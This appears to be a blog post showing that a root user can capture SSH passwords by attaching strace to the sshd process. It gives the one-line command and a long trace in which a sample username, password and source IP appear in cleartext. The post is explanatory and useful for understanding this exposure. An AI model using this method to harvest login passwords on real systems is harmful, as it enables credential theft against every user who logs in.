MORE SSH PASSWORDS

Previously I mentioned how I am now logging ssh passwords using a pam module (see here). In that I mentioned that there were easier ways for a root user to see your ssh password if they so desired. It seems that I overestimated that knowledge. So as an exmaple of what I was speaking about, here is another easier way for the root user to your password for ssh.

What is needed?
Well, nothing really. Just strace. You could use something as simple as..

```
# strace -f -e write=4 -e trace=write -p `cat /var/run/sshd.pid`
```

Surely not you say. Well lets try it and see what happens. When we run that we get..

```
# strace -f -e write=4 -e trace=write -p `cat /var/run/sshd.pid`
Process 3193 attached - interrupt to quit
Process 22988 attached
[pid  3193] write(7, "\0\0\2f\0", 5)    = 5
[pid  3193] write(7, "\0\0\2]\n\n\n\n\n\n\n\n\n\n\nPort 22\nProtocol"..., 613) = 613
[pid 22988] write(3, "SSH-2.0-OpenSSH_4.3\n", 20) = 20
Process 22991 attached
[pid 22991] write(3, "\0\0\2\274\7\24B!
\26jT\354\237\2123\262\363\v\331\36Z\302\0\0\0Ydiffie"..., 704) = 704
[pid 22991] write(4, "\0\0\0\r\0", 5)   = 5
 | 00000  00 00 00 0d 00                                     .....             |
[pid 22991] write(4, "\0\0\4\0\0\0\4\0\0\0 \0", 12) = 12
 | 00000  00 00 04 00 00 00 04 00  00 00 20 00              ........ .. .     |
[pid 22988] write(6, "\0\0\0\214\1", 5) = 5
[pid 22988] write(6,
"\1\0\0\0\201\0\312\255\335\354\26g\374h\265\372\25\325<N\0252\335$V\32\32-G\241,\1"..., 139)
= 139
[pid 22991] write(3,
"\0\0\0\224\10\37\0\0\0\201\0\312\255\335\354\26g\374h\265\372\25\325<N\0252\335$V\32\32"...,
152) = 152
[pid 22991] write(4, "\0\0\0\35\5", 5)  = 5
 | 00000  00 00 00 1d 05                                     .....             |
[pid 22991] write(4, "\0\0\0\0\0\0\0\24\211\327\37m\225\320YX\226\216\243\267t\221}
k\371\30\317\251", 28) = 28
 | 00000  00 00 00 00 00 00 00 14  89 d7 1f 6d 95 d0 59 58  ........ ...m..YX |
 | 00010  96 8e a3 b7 74 91 7d 6b  f9 18 cf a9              ....t.}k ....     |
[pid 22988] write(6, "\0\0\1\24\6", 5)  = 5
[pid 22988] write(6, "\0\0\1\17\0\0\0\7ssh-rsa\0\0\1\0@\206r\36\227\227\2643+}\330\242H"...,
275) = 275
[pid 22991] write(3, "\0\0\2\274\t!\0\0\1\25\0\0\0\7ssh-rsa\0\0\0\1#\0\0\1\1\0\257"..., 720)
= 720
[pid 22991] write(3, "\363\330\227\231\272\375\346\327\332X\16HG\v-
\271\243\336n\23\217\211\250\4m\241O=\341\366p\0"..., 48) = 48
[pid 22991] write(4, "\0\0\0\n\7", 5)   = 5
 | 00000  00 00 00 0a 07                                     .....             |
[pid 22991] write(4, "\0\0\0\5bobby", 9) = 9
 | 00000  00 00 00 05 62 6f 62 62  79                        ....bobb y        |
[pid 22988] write(4, "\6\0\0\0\314Y\0\0ssh:notty\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) =
384
 | 00000  06 00 00 00 cc 59 00 00  73 73 68 3a 6e 6f 74 74  .....Y.. ssh:nott |
 | 00010  79 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  y....... ........ |
```

```
 | 00020  00 00 00 00 00 00 00 00  00 00 00 00 62 6f 62 62  ........ ....bobb |
 | 00030  79 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  y....... ........ |
 | 00040  00 00 00 00 00 00 00 00  00 00 00 00 31 39 32 2e  ........ ....192. |
 | 00050  31 36 38 2e 32 2e 31 30  30 00 00 00 00 00 00 00  168.2.10 0....... |
 | 00060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 00070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 00080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 00090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 000d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 000e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 000f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 00100  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 00110  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 00120  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 00130  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 00140  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 00150  00 00 00 00 78 e7 2a 4b  00 00 00 00 c0 a8 02 64  ....x.*K .......d |
 | 00160  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 00170  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
[pid 22988] write(6, "\0\0\0\2\10", 5)  = 5
[pid 22988] write(6, "\0", 1)           = 1
[pid 22991] write(4, "\0\0\0\1.", 5)    = 5
 | 00000  00 00 00 01 2e                                    .....            |
[pid 22991] write(4, "\0\0\0\27\3", 5)  = 5
 | 00000  00 00 00 17 03                                    .....            |
[pid 22991] write(4, "\0\0\0\16ssh-connection\0\0\0\0", 22) = 22
 | 00000  00 00 00 0e 73 73 68 2d  63 6f 6e 6e 65 63 74 69  ....ssh- connecti |
 | 00010  6f 6e 00 00 00 00                                 on....           |
[pid 22991] write(4, "\0\0\0\5\4", 5)   = 5
 | 00000  00 00 00 05 04                                    .....            |
[pid 22991] write(4, "\0\0\0\0", 4)     = 4
 | 00000  00 00 00 00                                       ....             |
[pid 22991] write(3, "\22\333\350o\372u\305\nC\325,a\244^p\276\32\226\317a$
\"\322+B4Jz\234\204\4D"..., 64) = 64
[pid 22991] write(3, "\3645\217/\0\262\16DS\352%
\244z\343f\254\341\343\250S\f\237t\"\344\202`\375\300\225N."..., 64) = 64
[pid 22991] write(4, "\0\0\0\22\v", 5)  = 5
 | 00000  00 00 00 12 0b                                    .....            |
[pid 22991] write(4, "\0\0\0\rohbigpassword", 17) = 17
 | 00000  00 00 00 0d 6f 68 62 69  67 70 61 73 73 77 6f 72  ....ohbi gpasswor |
 | 00010  64                                                d                |
[pid 22988] write(7, "host = 192.168.2.100 : username "..., 67) = 67
[pid 22988] write(6, "\0\0\0\5\f", 5)   = 5
[pid 22988] write(6, "\0\0\0\0", 4)     = 4
[pid 22991] write(3, "\353<\273Ye\24e\1\\#$\375\303\2\376n9\242\234q\214}\16\35\371-
\336^\307\303r\210"..., 64) = 64
[pid 22988] write(4, "\6\0\0\0\314Y\0\0ssh:notty\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) =
384
 | 00000  06 00 00 00 cc 59 00 00  73 73 68 3a 6e 6f 74 74  .....Y.. ssh:nott |
 | 00010  79 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  y....... ........ |
 | 00020  00 00 00 00 00 00 00 00  00 00 00 00 62 6f 62 62  ........ ....bobb |
```

```
 | 00030  79 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  y....... ........ |
 | 00040  00 00 00 00 00 00 00 00  00 00 00 00 31 39 32 2e  ........ ....192. |
 | 00050  31 36 38 2e 32 2e 31 30  30 00 00 00 00 00 00 00  168.2.10 0....... |
 | 00060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 00070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 00080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 00090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 000d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 000e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 000f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 00100  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 00110  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 00120  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 00130  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 00140  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 00150  00 00 00 00 84 e7 2a 4b  00 00 00 00 c0 a8 02 64  ......*K .......d |
 | 00160  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
 | 00170  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........ |
Process 22991 detached
Process 22988 detached
--- SIGCHLD (Child exited) @ 0 (0) ---
^CProcess 3193 detached
```

Now there is lot of text, but I have bolded the relevant parts. As you can see, we now know that user 'bobby' and his password is 'ohbigpassword'. And that is all there is to it really. If I left my strace running, it would have done this for every user logging in via ssh. Oh, and you get other interesting details as part of this - like the source ip.

Final thoughts

This article is meant to just quickly show that it is always possible to skin a cat many ways. What many people forget is that the ssh process still speaks to the rest of the system, and while the ssh process 'talks' encrypted ssh, the rest of the system does not. So when the ssh process needs to 'talk' to the other parts of the system and you (as root) can 'listen' in on those conversations then you can see this. I should also mention that this works whether you use pam for authentication or not but does not work for ssh keys (hmmmm). As always, have fun and learn.